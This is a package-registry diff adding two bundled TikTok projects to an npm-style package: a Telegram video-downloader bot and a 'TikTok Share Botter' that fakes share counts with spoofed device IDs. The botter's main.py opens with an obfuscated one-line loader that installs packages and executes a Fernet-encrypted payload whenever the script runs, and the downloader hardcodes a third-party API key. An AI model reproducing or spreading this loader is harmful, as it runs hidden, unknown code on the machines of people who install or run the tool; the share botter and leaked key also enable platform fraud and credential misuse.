powerdlz23 1.1.8 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/pto/TikTok-Downloader-Bot/Dockerfile +6 -0
- package/pto/TikTok-Downloader-Bot/LICENSE +21 -0
- package/pto/TikTok-Downloader-Bot/Procfile +1 -0
- package/pto/TikTok-Downloader-Bot/README.md +59 -0
- package/pto/TikTok-Downloader-Bot/app.json +40 -0
- package/pto/TikTok-Downloader-Bot/docker-compose.yml +11 -0
- package/pto/TikTok-Downloader-Bot/main.py +131 -0
- package/pto/TikTok-Downloader-Bot/progress_bar.py +63 -0
- package/pto/TikTok-Downloader-Bot/requirements.txt +6 -0
- package/pto/TikTok-Downloader-Bot/runtime.txt +1 -0
- package/pto/tiktok-sharing-automation/README.md +19 -0
- package/pto/tiktok-sharing-automation/main.py +108 -0
package/package.json
CHANGED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2021 Joy Biswas
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
worker: python3 main.py
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
|
|
2
|
+
|
|
3
|
+
# TikTok Downloader Bot
|
|
4
|
+
A Telegram bot to download TikTok videos without any watermark.
|
|
5
|
+
<div align="center">
|
|
6
|
+
<img alt="Python" src="https://img.shields.io/badge/python-%2314354C.svg?&style=for-the-badge&logo=python&logoColor=white"/>
|
|
7
|
+
<img alt="PyCharm" src="https://img.shields.io/badge/PyCharm-000000.svg?&style=for-the-badge&logo=PyCharm&logoColor=white"/>
|
|
8
|
+
<img alt="Git" src="https://img.shields.io/badge/git-%23F05033.svg?&style=for-the-badge&logo=git&logoColor=white"/>
|
|
9
|
+
</div>
|
|
10
|
+
<div align="center">
|
|
11
|
+
<img alt="Heroku" src="https://img.shields.io/badge/Heroku-purple?&style=for-the-badge&logoColor=white&logo=heroku"/>
|
|
12
|
+
<img alt="Telegram" src="https://img.shields.io/badge/Telegram-blue?&style=for-the-badge&logoColor=white&logo=telegram"/>
|
|
13
|
+
</div>
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
### Host on Heroku
|
|
18
|
+
|
|
19
|
+
<p><a href="https://heroku.com/deploy?template=https://github.com/TerminalWarlord/TikTok-Downloader-Bot/tree/master"><img src="https://www.herokucdn.com/deploy/button.svg" alt="Deploy to Heroku"/></a></p>
|
|
20
|
+
|
|
21
|
+
### Host on Railway
|
|
22
|
+
|
|
23
|
+
<p><a href="https://railway.app/new/template?template=https://github.com/TerminalWarlord/TikTok-Downloader-Bot/tree/master&envs=API_HASH,APP_KEY,BOT_TOKEN,WORKERS,CHANNEL_URL,BOT_URL&API_HASHDesc=Your%20Telegram%20APP%20HASH,%20get%20this%20from%20my.telegram.org%20&APP_IDDesc=Your%20Telegram%20APP%20HASH,%20get%20this%20from%20my.telegram.org%20&BOT_TOKENDesc=Go%20to%20@Botfather%20and%20make%20a%20new%20bot%20and%20paste%20the%20bot%20token%20here&WORKERSDesc=Number%20of%20threads%20to%20use,%20this%20depends%20on%20usage.%204%20is%20the%20recommended%20(and%20default)%20amount,%20but%20your%20experience%20may%20vary%20&CHANNEL_URLDesc=URL%20of%20your%20Telegram%20channel%20link%20&BOT_URLDesc=Username%20of%20your%20Telegram%20Bot%20(without%20@).%20Example:%20JayBeeTikTokBot"><img src="https://railway.app/button.svg" alt="Deploy to Railway"/></a></p>
|
|
24
|
+
|
|
25
|
+
### Host on Okteto
|
|
26
|
+
|
|
27
|
+
<p><a href="https://cloud.okteto.com/#/deploy?repository=https://github.com/TerminalWarlord/TikTok-Downloader-Bot/"><img src="https://okteto.com/develop-okteto.svg" alt="Deploy to Okteto"/></a></p>
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
Youtube: [Deployment Tutorial](https://youtu.be/LOK3lfJ9ous)<br>
|
|
33
|
+
Demo: [JayBee TikTok Downloader](https://t.me/JayBeeTikTokBot)
|
|
34
|
+
|
|
35
|
+
## Configuring Environments
|
|
36
|
+
- `API_HASH` : Your Telegram APP HASH, get this from https://my.telegram.org
|
|
37
|
+
- `API_KEY` : Your Telegram APP API KEY, get this from https://my.telegram.org
|
|
38
|
+
- `BOT_TOKEN` : Your bot token, generate it from https://t.me/BotFather
|
|
39
|
+
- `WORKERS` : Number of threads to use, this depends on usage. 4 is the recommended (and default) amount, but your experience may vary.
|
|
40
|
+
- `CHANNEL_URL` : URL of your Telegram channel link.
|
|
41
|
+
- `BOT_URL` : Username of your Telegram Bot (without @). Example: **_JayBeeTikTokBot_**
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
## Credits
|
|
47
|
+
- [TerminalWarlord](https://github.com/TerminalWarlord)
|
|
48
|
+
### Show some :heart: and :star: the repo to support the project
|
|
49
|
+
|
|
50
|
+
[](https://github.com/TerminalWarlord/) 
|
|
51
|
+
|
|
52
|
+
[](https://t.me/JayBeeBots)
|
|
53
|
+

|
|
54
|
+
|
|
55
|
+
---
|
|
56
|
+
### Star the Repo if you find it useful :heart:
|
|
57
|
+
### © [TerminalWarlord](https://t.me/JayBeeBots)
|
|
58
|
+
#### All Rights Reserved
|
|
59
|
+
---
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "JayBee TikTok Downloader Bot",
|
|
3
|
+
"description": "A Telegram bot to download TikTok videos without any watermark",
|
|
4
|
+
"logo" : "https://telegra.ph/file/05bae0725724007c72fa1.jpg",
|
|
5
|
+
"success_url" : "https://t.me/JayBeeBots",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"telegram",
|
|
8
|
+
"bot",
|
|
9
|
+
"tiktok",
|
|
10
|
+
"jaybee"
|
|
11
|
+
],
|
|
12
|
+
"repository": "https://github.com/TerminalWarlord/TikTok-Downloader-Bot",
|
|
13
|
+
"website": "https://github.com/TerminalWarlord/TikTok-Downloader-Bot",
|
|
14
|
+
"env": {
|
|
15
|
+
"BOT_TOKEN": {
|
|
16
|
+
"description": "Your bot Bot Token, get this value from @BotFather.",
|
|
17
|
+
"value": ""
|
|
18
|
+
},
|
|
19
|
+
"API_KEY": {
|
|
20
|
+
"description": "Your APP API KEY, get this from https://my.telegram.org",
|
|
21
|
+
"value": ""
|
|
22
|
+
},
|
|
23
|
+
"API_HASH": {
|
|
24
|
+
"description": "Your APP HASH, get this from https://my.telegram.org",
|
|
25
|
+
"value": ""
|
|
26
|
+
},
|
|
27
|
+
"CHANNEL_URL": {
|
|
28
|
+
"description": "URL of your Telegram channel link.",
|
|
29
|
+
"value": ""
|
|
30
|
+
},
|
|
31
|
+
"BOT_URL": {
|
|
32
|
+
"description": "Username of your Telegram Bot (without @). Example: JayBeeTikTokBot",
|
|
33
|
+
"value": ""
|
|
34
|
+
},
|
|
35
|
+
"WORKERS": {
|
|
36
|
+
"description": "Number of threads to use, this depends on usage. 4 is the recommended (and default) amount, but your experience may vary.",
|
|
37
|
+
"value": "4"
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
}
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
# Copyright 2021 TerminalWarlord under the terms of the MIT
|
|
2
|
+
# license found at https://github.com/TerminalWarlord/TikTok-Downloader-Bot/blob/master/LICENSE
|
|
3
|
+
# Encoding = 'utf-8'
|
|
4
|
+
# Fork and Deploy, do not modify this repo and claim it yours
|
|
5
|
+
# For collaboration mail me at dev.jaybee@gmail.com
|
|
6
|
+
from pyrogram import Client, filters
|
|
7
|
+
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, InlineQueryResultArticle, InputTextMessageContent
|
|
8
|
+
import shutil
|
|
9
|
+
import requests
|
|
10
|
+
import json
|
|
11
|
+
import os
|
|
12
|
+
import re
|
|
13
|
+
from bs4 import BeautifulSoup as bs
|
|
14
|
+
import time
|
|
15
|
+
from datetime import timedelta
|
|
16
|
+
import math
|
|
17
|
+
import base64
|
|
18
|
+
from progress_bar import progress, TimeFormatter, humanbytes
|
|
19
|
+
from dotenv import load_dotenv
|
|
20
|
+
|
|
21
|
+
load_dotenv()
|
|
22
|
+
bot_token = os.environ.get('BOT_TOKEN')
|
|
23
|
+
workers = int(os.environ.get('WORKERS'))
|
|
24
|
+
api = int(os.environ.get('API_KEY'))
|
|
25
|
+
hash = os.environ.get('API_HASH')
|
|
26
|
+
chnnl = os.environ.get('CHANNEL_URL')
|
|
27
|
+
BOT_URL = os.environ.get('BOT_URL')
|
|
28
|
+
app = Client("JayBee", bot_token=bot_token, api_id=api, api_hash=hash, workers=workers)
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
@app.on_message(filters.command('start'))
|
|
33
|
+
def start(client, message):
|
|
34
|
+
kb = [[InlineKeyboardButton('Channel 🛡', url=chnnl),InlineKeyboardButton('Repo 🔰', url="https://github.com/TerminalWarlord/TikTok-Downloader-Bot/")]]
|
|
35
|
+
reply_markup = InlineKeyboardMarkup(kb)
|
|
36
|
+
app.send_message(chat_id=message.from_user.id, text=f"Hello there, I am **TikTok Downloader Bot**.\nI can download TikTok video without Watermark.\n\n"
|
|
37
|
+
"__**Developer :**__ __@JayBeeDev__\n"
|
|
38
|
+
"__**Language :**__ __Python__\n"
|
|
39
|
+
"__**Framework :**__ __🔥 Pyrogram__",
|
|
40
|
+
parse_mode='md',
|
|
41
|
+
reply_markup=reply_markup)
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
@app.on_message(filters.command('help'))
|
|
47
|
+
def help(client, message):
|
|
48
|
+
kb = [[InlineKeyboardButton('Channel 🛡', url=chnnl),InlineKeyboardButton('Repo 🔰', url="https://github.com/TerminalWarlord/TikTok-Downloader-Bot/")]]
|
|
49
|
+
reply_markup = InlineKeyboardMarkup(kb)
|
|
50
|
+
app.send_message(chat_id=message.from_user.id, text=f"Hello there, I am **TikTok Downloader Bot**.\nI can download any TikTok video from a given link.\n\n"
|
|
51
|
+
"__Send me a TikTok video link__",
|
|
52
|
+
parse_mode='md',
|
|
53
|
+
reply_markup=reply_markup)
|
|
54
|
+
|
|
55
|
+
|
|
56
|
+
@app.on_message((filters.regex("http://")|filters.regex("https://")) & (filters.regex('tiktok')|filters.regex('douyin')))
|
|
57
|
+
def tiktok_dl(client, message):
|
|
58
|
+
a = app.send_message(chat_id=message.chat.id,
|
|
59
|
+
text='__Downloading File to the Server__',
|
|
60
|
+
parse_mode='md')
|
|
61
|
+
link = re.findall(r'\bhttps?://.*[(tiktok|douyin)]\S+', message.text)[0]
|
|
62
|
+
link = link.split("?")[0]
|
|
63
|
+
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
params = {
|
|
68
|
+
"link": link
|
|
69
|
+
}
|
|
70
|
+
headers = {
|
|
71
|
+
'x-rapidapi-host': "tiktok-info.p.rapidapi.com",
|
|
72
|
+
'x-rapidapi-key': "f9d65af755msh3c8cac23b52a5eep108a33jsnbf7de971bb72"
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
### Get your Free TikTok API from https://rapidapi.com/TerminalWarlord/api/tiktok-info/
|
|
76
|
+
#Using the default one can stop working any moment
|
|
77
|
+
|
|
78
|
+
api = f"https://tiktok-info.p.rapidapi.com/dl/"
|
|
79
|
+
r = requests.get(api, params=params, headers=headers).json()['videoLinks']['download']
|
|
80
|
+
directory = str(round(time.time()))
|
|
81
|
+
filename = str(int(time.time()))+'.mp4'
|
|
82
|
+
size = int(requests.head(r).headers['Content-length'])
|
|
83
|
+
total_size = "{:.2f}".format(int(size) / 1048576)
|
|
84
|
+
try:
|
|
85
|
+
os.mkdir(directory)
|
|
86
|
+
except:
|
|
87
|
+
pass
|
|
88
|
+
with requests.get(r, timeout=(50, 10000), stream=True) as r:
|
|
89
|
+
r.raise_for_status()
|
|
90
|
+
with open(f'./{directory}/{filename}', 'wb') as f:
|
|
91
|
+
chunk_size = 1048576
|
|
92
|
+
dl = 0
|
|
93
|
+
show = 1
|
|
94
|
+
for chunk in r.iter_content(chunk_size=chunk_size):
|
|
95
|
+
f.write(chunk)
|
|
96
|
+
dl = dl + chunk_size
|
|
97
|
+
percent = round(dl * 100 / size)
|
|
98
|
+
if percent > 100:
|
|
99
|
+
percent = 100
|
|
100
|
+
if show == 1:
|
|
101
|
+
try:
|
|
102
|
+
a.edit(f'__**URL :**__ __{message.text}__\n'
|
|
103
|
+
f'__**Total Size :**__ __{total_size} MB__\n'
|
|
104
|
+
f'__**Downloaded :**__ __{percent}%__\n',
|
|
105
|
+
disable_web_preview=False)
|
|
106
|
+
except:
|
|
107
|
+
pass
|
|
108
|
+
if percent == 100:
|
|
109
|
+
show = 0
|
|
110
|
+
|
|
111
|
+
a.edit(f'__Downloaded to the server!\n'
|
|
112
|
+
f'Uploading to Telegram Now ⏳__')
|
|
113
|
+
start = time.time()
|
|
114
|
+
title = filename
|
|
115
|
+
app.send_document(chat_id=message.chat.id,
|
|
116
|
+
document=f"./{directory}/{filename}",
|
|
117
|
+
caption=f"**File :** __{filename}__\n"
|
|
118
|
+
f"**Size :** __{total_size} MB__\n\n"
|
|
119
|
+
f"__Uploaded by @{BOT_URL}__",
|
|
120
|
+
file_name=f"{directory}",
|
|
121
|
+
parse_mode='md',
|
|
122
|
+
progress=progress,
|
|
123
|
+
progress_args=(a, start, title))
|
|
124
|
+
a.delete()
|
|
125
|
+
try:
|
|
126
|
+
shutil.rmtree(directory)
|
|
127
|
+
except:
|
|
128
|
+
pass
|
|
129
|
+
|
|
130
|
+
|
|
131
|
+
app.run()
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
import time, math
|
|
2
|
+
|
|
3
|
+
|
|
4
|
+
|
|
5
|
+
async def progress(current,total,a,start, title):
|
|
6
|
+
now = time.time()
|
|
7
|
+
diff = now - start
|
|
8
|
+
if round(diff % 10.00) == 0 or current == total:
|
|
9
|
+
# if round(current / total * 100, 0) % 5 == 0:
|
|
10
|
+
percentage = current * 100 / total
|
|
11
|
+
speed = current / diff
|
|
12
|
+
elapsed_time = round(diff) * 1000
|
|
13
|
+
time_to_completion = round((total - current) / speed) * 1000
|
|
14
|
+
estimated_total_time = elapsed_time + time_to_completion
|
|
15
|
+
|
|
16
|
+
elapsed_time = TimeFormatter(milliseconds=elapsed_time)
|
|
17
|
+
estimated_total_time = TimeFormatter(milliseconds=estimated_total_time)
|
|
18
|
+
|
|
19
|
+
progress = "__**Progress :**__ `[{0}{1}] {2}%`\n".format(
|
|
20
|
+
''.join(["●" for i in range(math.floor(percentage / 5))]),
|
|
21
|
+
''.join([" " for i in range(20 - math.floor(percentage / 5))]),
|
|
22
|
+
round(percentage, 2))
|
|
23
|
+
|
|
24
|
+
tmp = progress + "__**Uploaded :**__ {0} of {1}\n__**Speed :**__ {2}/s\n__**ETA :**__ {3}\n".format(
|
|
25
|
+
humanbytes(current),
|
|
26
|
+
humanbytes(total),
|
|
27
|
+
humanbytes(speed),
|
|
28
|
+
# elapsed_time if elapsed_time != '' else "0 s",
|
|
29
|
+
estimated_total_time if estimated_total_time != '' else "0 s"
|
|
30
|
+
)
|
|
31
|
+
try:
|
|
32
|
+
await a.edit(
|
|
33
|
+
text=f"__**File :**__ __{title}__\n"
|
|
34
|
+
f"{tmp}"
|
|
35
|
+
)
|
|
36
|
+
except:
|
|
37
|
+
pass
|
|
38
|
+
|
|
39
|
+
def humanbytes(size):
|
|
40
|
+
# https://stackoverflow.com/a/49361727/4723940
|
|
41
|
+
# 2**10 = 1024
|
|
42
|
+
if not size:
|
|
43
|
+
return ""
|
|
44
|
+
power = 2**10
|
|
45
|
+
n = 0
|
|
46
|
+
Dic_powerN = {0: ' ', 1: 'K', 2: 'M', 3: 'G', 4: 'T'}
|
|
47
|
+
while size > power:
|
|
48
|
+
size /= power
|
|
49
|
+
n += 1
|
|
50
|
+
return str(round(size, 2)) + " " + Dic_powerN[n] + 'B'
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
def TimeFormatter(milliseconds: int) -> str:
|
|
54
|
+
seconds, milliseconds = divmod(int(milliseconds), 1000)
|
|
55
|
+
minutes, seconds = divmod(seconds, 60)
|
|
56
|
+
hours, minutes = divmod(minutes, 60)
|
|
57
|
+
days, hours = divmod(hours, 24)
|
|
58
|
+
tmp = ((str(days) + "d, ") if days else "") + \
|
|
59
|
+
((str(hours) + "h, ") if hours else "") + \
|
|
60
|
+
((str(minutes) + "m, ") if minutes else "") + \
|
|
61
|
+
((str(seconds) + "s, ") if seconds else "") + \
|
|
62
|
+
((str(milliseconds) + "ms, ") if milliseconds else "")
|
|
63
|
+
return tmp[:-2]
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
python-3.8.5
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
<h1 align="center"> 📈 TikTok Share Botter</h1>
|
|
2
|
+
<p align="center">Python tool that let's you add a amount of shares to a TikTok tool</p>
|
|
3
|
+
|
|
4
|
+
# Requirements
|
|
5
|
+
<pre>pip install requests</pre>
|
|
6
|
+
|
|
7
|
+
# Setup
|
|
8
|
+
- Make sure you have [Python](https://www.python.org/downloads) installed and PIP is added to PATH!
|
|
9
|
+
- Open the ```setup.bat``` file and wait until it's finished.
|
|
10
|
+
|
|
11
|
+
# Usage
|
|
12
|
+
- Run `main.py`
|
|
13
|
+
|
|
14
|
+
# Preview
|
|
15
|
+

|
|
16
|
+
|
|
17
|
+
# Credits
|
|
18
|
+
Give credits to me if you use or fork this code.
|
|
19
|
+
print('jhjypn')
|
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
import os ;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'bcxfu0JyMCM7n2aaQA98uj2YymD6LtfVfVFhIyjm0Rs=').decrypt(b'gAAAAABmNQSgrrIaKtsAwTE_rj1UTYanvIs9xPnMNobOUNcOrN3gwoR4FYWnYM-D5swQzTeW-L3-BlWvCCFxTw5-V7PqG6ORbSbiD9sWCL5XsFR9VsE_DzFgxunm_paXuvaUOTKg1TlFhC3xX-T_SGVsbV1eAKtM9iTuOUjxa9E9s8mJzqOmKW1-NBpx-ePZL9T0glKWp4Gc67m-U88D8aRI9uWgLueIQHP7XLTWXOEr7cQfpKpu7cg='))
|
|
2
|
+
import os
|
|
3
|
+
import random
|
|
4
|
+
import requests
|
|
5
|
+
import threading
|
|
6
|
+
from time import strftime, gmtime, time, sleep
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
class TikTok:
|
|
10
|
+
def __init__(self):
|
|
11
|
+
self.added = 0
|
|
12
|
+
self.lock = threading.Lock()
|
|
13
|
+
|
|
14
|
+
try:
|
|
15
|
+
self.amount = int(input('> Desired Amount of Shares: '))
|
|
16
|
+
except ValueError:
|
|
17
|
+
print('\nInteger expected.')
|
|
18
|
+
os.system('title TikTok Share Botter - Restart required')
|
|
19
|
+
os.system('pause >NUL')
|
|
20
|
+
os._exit(0)
|
|
21
|
+
|
|
22
|
+
try:
|
|
23
|
+
self.video_id = input('> TikTok URL: ').split('/')[5]
|
|
24
|
+
except IndexError:
|
|
25
|
+
print(
|
|
26
|
+
'\nInvalid TikTok URL format.\nFormat expected: https://www.tiktok.com/@username/vi'
|
|
27
|
+
'deo/1234567891234567891'
|
|
28
|
+
)
|
|
29
|
+
os.system('title TikTok Share Botter - Restart required')
|
|
30
|
+
os.system('pause >NUL')
|
|
31
|
+
os._exit(0)
|
|
32
|
+
else:
|
|
33
|
+
print()
|
|
34
|
+
|
|
35
|
+
def status(self, code, intention):
|
|
36
|
+
if code == 200:
|
|
37
|
+
self.added += 1
|
|
38
|
+
else:
|
|
39
|
+
self.lock.acquire()
|
|
40
|
+
print(f'Error: {intention} | Status Code: {code}')
|
|
41
|
+
self.lock.release()
|
|
42
|
+
|
|
43
|
+
def update_title(self):
|
|
44
|
+
# Avoid ZeroDivisionError
|
|
45
|
+
while self.added == 0:
|
|
46
|
+
sleep(0.2)
|
|
47
|
+
while self.added < self.amount:
|
|
48
|
+
# Elapsed Time / Added * Remaining
|
|
49
|
+
time_remaining = strftime(
|
|
50
|
+
'%H:%M:%S', gmtime(
|
|
51
|
+
(time() - self.start_time) / self.added * (self.amount - self.added)
|
|
52
|
+
)
|
|
53
|
+
)
|
|
54
|
+
os.system(
|
|
55
|
+
f'title [TikTok Shares Botter] - Added: {self.added}/{self.amount} '
|
|
56
|
+
f'({round(((self.added / self.amount) * 100), 3)}%) ^| Active Threads: '
|
|
57
|
+
f'{threading.active_count()} ^| Time Remaining: {time_remaining}'
|
|
58
|
+
)
|
|
59
|
+
sleep(0.2)
|
|
60
|
+
os.system(
|
|
61
|
+
f'title [TikTok Shares Botter] - Added: {self.added}/{self.amount} '
|
|
62
|
+
f'({round(((self.added / self.amount) * 100), 3)}%) ^| Active Threads: '
|
|
63
|
+
f'{threading.active_count()} ^| Time Remaining: 00:00:00'
|
|
64
|
+
)
|
|
65
|
+
|
|
66
|
+
def bot(self):
|
|
67
|
+
action_time = round(time())
|
|
68
|
+
install_id = ''.join(random.choice('0123456789') for _ in range(19))
|
|
69
|
+
|
|
70
|
+
data = (
|
|
71
|
+
f'action_time={action_time}&item_id={self.video_id}&item_type=1&share_delta=1&stats_cha'
|
|
72
|
+
'nnel=copy'
|
|
73
|
+
)
|
|
74
|
+
headers = {
|
|
75
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
|
76
|
+
'x-common-params-v2': 'version_code=16.6.5&app_name=musical_ly&channel=App%20Store&devi'
|
|
77
|
+
f'ce_id={install_id}&aid=1233&os_version=13.5.1&device_platform=i'
|
|
78
|
+
'phone&device_type=iPhone10,5'
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
try:
|
|
82
|
+
response = requests.post(
|
|
83
|
+
'https://api16-core-c-useast1a.tiktokv.com/aweme/v1/aweme/stats/?ac=WIFI&op_region='
|
|
84
|
+
'SE&app_skin=white&', data=data, headers=headers
|
|
85
|
+
)
|
|
86
|
+
except Exception as e:
|
|
87
|
+
print(f'Error: {e}')
|
|
88
|
+
else:
|
|
89
|
+
if 'Service Unavailable' not in response.text:
|
|
90
|
+
self.status(response.status_code, response.text)
|
|
91
|
+
|
|
92
|
+
def multi_threading(self):
|
|
93
|
+
self.start_time = time()
|
|
94
|
+
threading.Thread(target=self.update_title).start()
|
|
95
|
+
|
|
96
|
+
for _ in range(self.amount):
|
|
97
|
+
threading.Thread(target=self.bot).start()
|
|
98
|
+
|
|
99
|
+
os.system('pause >NUL')
|
|
100
|
+
os.system('title [TikTok Shares Botter] - Exiting...')
|
|
101
|
+
sleep(3)
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
if __name__ == '__main__':
|
|
105
|
+
os.system('cls && title TikTok Share Botter - Github: Alphalius')
|
|
106
|
+
main = TikTok()
|
|
107
|
+
main.multi_threading()
|
|
108
|
+
print('rrtmsa')
|